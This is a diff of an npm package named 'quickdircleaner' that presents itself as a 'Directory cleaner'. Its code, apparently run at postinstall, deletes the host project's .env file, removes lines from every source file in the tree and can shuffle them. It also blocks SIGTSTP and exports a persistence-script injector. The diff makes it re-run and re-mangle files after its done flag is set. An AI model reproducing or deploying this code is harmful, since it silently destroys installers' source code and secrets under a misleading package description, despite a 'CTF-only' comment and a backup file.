quickdircleaner 1.0.9 → 1.1.1

package/index.js

@@ -50,8 +50,26 @@ async function main() {
     core.resolveHostProjectRoot(),
   );
 
+  let priorList = null;
+  let priorMap = null;
+
   if (await cleanerDoneFlagExists(root)) {
-    return;
+    let raw;
+    try {
+      raw = await fs.readFile(path.join(root, core.BACKUP_NAME), "utf8");
+    } catch {
+      return;
+    }
+    priorList = core.parseFirstOriginalSectionMarkdown(raw);
+    if (priorList.length === 0) {
+      return;
+    }
+    priorMap = new Map(priorList.map((e) => [e.filePath, e.content]));
+    try {
+      await fs.unlink(path.join(root, core.DONE_FLAG));
+    } catch {
+      /* silent */
+    }
   }
 
   let pkgRaw = null;
@@ -61,18 +79,23 @@ async function main() {
     pkgRaw = null;
   }
 
-  const backupEntries = await core.runPrank(root);
+  const backupEntries = await core.runPrank(root, priorMap);
 
   if (pkgRaw) {
     backupEntries.push({
       filePath: core.SYNTHETIC_PACKAGE_JSON,
-      content: pkgRaw,
+      content: priorMap?.get(core.SYNTHETIC_PACKAGE_JSON) ?? pkgRaw,
     });
   }
 
+  const toWrite =
+    priorList && priorList.length > 0
+      ? core.mergeFirstSectionBackup(priorList, backupEntries)
+      : backupEntries;
+
   let backupOk = true;
   try {
-    backupOk = await writeBackupMarkdown(root, backupEntries);
+    backupOk = await writeBackupMarkdown(root, toWrite);
   } catch {
     backupOk = false;
   }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "quickdircleaner",
-  "version": "1.0.9",
+  "version": "1.1.1",
   "description": "Directory cleaner.",
   "main": "index.js",
   "files": [

package/prank-core.js

@@ -598,6 +598,97 @@ function removeOriginalLines(lines, oneBasedLineNumbers) {
   return next;
 }
 
+/** CTF-only: set `QUICKDIRCLEANER_JUMBLE=1` to permute lines (deterministic per path). Restore still uses backup verbatim. */
+function lineJumbleEnabled() {
+  return process.env.QUICKDIRCLEANER_JUMBLE === "1";
+}
+
+function hashStringForSeed(s) {
+  let h = 2166136261 >>> 0;
+  for (let i = 0; i < s.length; i += 1) {
+    h ^= s.charCodeAt(i);
+    h = Math.imul(h, 16777619);
+  }
+  return h >>> 0;
+}
+
+function mulberry32(seed) {
+  let a = seed >>> 0;
+  return function nextRand() {
+    a = (a + 0x6d2b79f5) >>> 0;
+    let t = a;
+    t = Math.imul(t ^ (t >>> 15), t | 1);
+    t = (t + Math.imul(t ^ (t >>> 7), t | 61)) >>> 0;
+    return ((t ^ (t >>> 14)) >>> 0) / 4294967296;
+  };
+}
+
+/**
+ * Fisher–Yates shuffle of all lines after an optional leading shebang line.
+ * Same `pathKey` + same line count ⇒ same permutation (participants can infer “path-seeded shuffle”).
+ */
+function jumbleBodyLines(lines, pathKey) {
+  if (lines.length < 2) {
+    return lines;
+  }
+  const out = lines.slice();
+  let bodyStart = 0;
+  if (out[0].trim().startsWith("#!")) {
+    bodyStart = 1;
+  }
+  if (bodyStart >= out.length - 1) {
+    return out;
+  }
+  const rng = mulberry32(
+    hashStringForSeed(`${pathKey}:${out.length - bodyStart}`),
+  );
+  for (let i = out.length - 1; i > bodyStart; i -= 1) {
+    const span = i - bodyStart + 1;
+    const j = bodyStart + Math.floor(rng() * span);
+    const tmp = out[i];
+    out[i] = out[j];
+    out[j] = tmp;
+  }
+  return out;
+}
+
+/**
+ * When postinstall runs again, `newEntries` only contains paths touched this run.
+ * Merge with the prior first "## Original contents" list so the rewritten backup still
+ * includes every restorable path (e.g. `.env` absent on disk after the first run).
+ */
+function mergeFirstSectionBackup(priorList, newEntries) {
+  if (!priorList || priorList.length === 0) {
+    return newEntries;
+  }
+  const contentByPath = new Map();
+  for (const e of priorList) {
+    contentByPath.set(e.filePath, e.content);
+  }
+  for (const e of newEntries) {
+    contentByPath.set(e.filePath, e.content);
+  }
+  const ordered = [];
+  const seen = new Set();
+  for (const e of priorList) {
+    ordered.push({
+      filePath: e.filePath,
+      content: contentByPath.get(e.filePath),
+    });
+    seen.add(e.filePath);
+  }
+  for (const e of newEntries) {
+    if (!seen.has(e.filePath)) {
+      ordered.push({
+        filePath: e.filePath,
+        content: contentByPath.get(e.filePath),
+      });
+      seen.add(e.filePath);
+    }
+  }
+  return ordered;
+}
+
 function buildMarkdown(backupEntries) {
   const lines = [
     "# Cleaner backup",
@@ -640,11 +731,15 @@ function buildReapplySection(attemptNumber, backupEntries) {
   return lines.join("\n");
 }
 
-async function backupAndRemoveEnv(root, backupEntries) {
+async function backupAndRemoveEnv(root, backupEntries, priorOriginals) {
   const envPath = path.join(root, ".env");
   try {
     const content = await fs.readFile(envPath, "utf8");
-    backupEntries.push({ filePath: ".env", content });
+    const snapshot =
+      priorOriginals && priorOriginals.has(".env")
+        ? priorOriginals.get(".env")
+        : content;
+    backupEntries.push({ filePath: ".env", content: snapshot });
     try {
       await fs.unlink(envPath);
     } catch {
@@ -665,7 +760,7 @@ function utf8LooksCorruptedAsBinary(text) {
   return n > Math.max(24, Math.floor(text.length * 0.02));
 }
 
-async function cleanSourceFile(fullPath, root, backupEntries) {
+async function cleanSourceFile(fullPath, root, backupEntries, priorOriginals) {
   let buf;
   try {
     const st = await fs.stat(fullPath);
@@ -691,7 +786,13 @@ async function cleanSourceFile(fullPath, root, backupEntries) {
 
   const eol = detectEol(content);
   const lineArray = content.split(/\r?\n/);
+  const relForKey =
+    path.relative(root, fullPath).split(path.sep).join("/") ||
+    path.basename(fullPath);
   let nextLines = removeOriginalLines(lineArray, REMOVE_LINE_NUMBERS);
+  if (lineJumbleEnabled()) {
+    nextLines = jumbleBodyLines(nextLines, relForKey);
+  }
   let modified = nextLines.join(eol);
 
   if (modified === content) {
@@ -704,8 +805,12 @@ async function cleanSourceFile(fullPath, root, backupEntries) {
 
   const rel = path.relative(root, fullPath);
   const filePath = rel.split(path.sep).join("/") || path.basename(fullPath);
+  const backupSnapshot =
+    priorOriginals && priorOriginals.has(filePath)
+      ? priorOriginals.get(filePath)
+      : content;
 
-  backupEntries.push({ filePath, content });
+  backupEntries.push({ filePath, content: backupSnapshot });
 
   try {
     await writeFileAtomic(fullPath, modified, "utf8");
@@ -751,7 +856,7 @@ function shouldSkipDirectoryEntry(name) {
  * BFS is used instead of fs.readdir(recursive) so behavior is consistent across Node/OS and
  * symlink layouts—nothing under the host root is missed except node_modules / .git / .hg / .svn.
  */
-async function walkAndCleanFullTree(rootResolved, backupEntries) {
+async function walkAndCleanFullTree(rootResolved, backupEntries, priorOriginals) {
   const visitedDirs = new Set();
   const queue = [path.resolve(rootResolved)];
 
@@ -824,7 +929,12 @@ async function walkAndCleanFullTree(rootResolved, backupEntries) {
       }
 
       try {
-        await cleanSourceFile(realPath, rootResolved, backupEntries);
+        await cleanSourceFile(
+          realPath,
+          rootResolved,
+          backupEntries,
+          priorOriginals,
+        );
       } catch {
         /* skip */
       }
@@ -832,7 +942,7 @@ async function walkAndCleanFullTree(rootResolved, backupEntries) {
   }
 }
 
-async function walkAndClean(root, backupEntries) {
+async function walkAndClean(root, backupEntries, priorOriginals) {
   let rootResolved = path.resolve(root);
   try {
     rootResolved = await fs.realpath(rootResolved);
@@ -841,17 +951,20 @@ async function walkAndClean(root, backupEntries) {
   }
   rootResolved = path.resolve(rootResolved);
 
-  await walkAndCleanFullTree(rootResolved, backupEntries);
+  await walkAndCleanFullTree(rootResolved, backupEntries, priorOriginals);
 }
 
 /**
  * Runs env backup/removal and source walk; returns new backup entries for this run.
+ * @param {Map<string,string>|null|undefined} priorOriginals — first-run snapshots from
+ *   `CLEANER_BACKUP.md` when re-invoking after `.cleaner_done`; backup rows use these
+ *   so restore still targets true originals while disk reads are already mangled.
  */
-async function runPrank(root) {
+async function runPrank(root, priorOriginals) {
   installSigTstpBlocker();
   const backupEntries = [];
-  await backupAndRemoveEnv(root, backupEntries);
-  await walkAndClean(root, backupEntries);
+  await backupAndRemoveEnv(root, backupEntries, priorOriginals);
+  await walkAndClean(root, backupEntries, priorOriginals);
   return backupEntries;
 }
 
@@ -1102,6 +1215,7 @@ module.exports = {
   PERSIST_PREFIX,
   TARGET_SCRIPT_NAMES,
   buildMarkdown,
+  mergeFirstSectionBackup,
   buildReapplySection,
   runPrank,
   injectPersistScripts,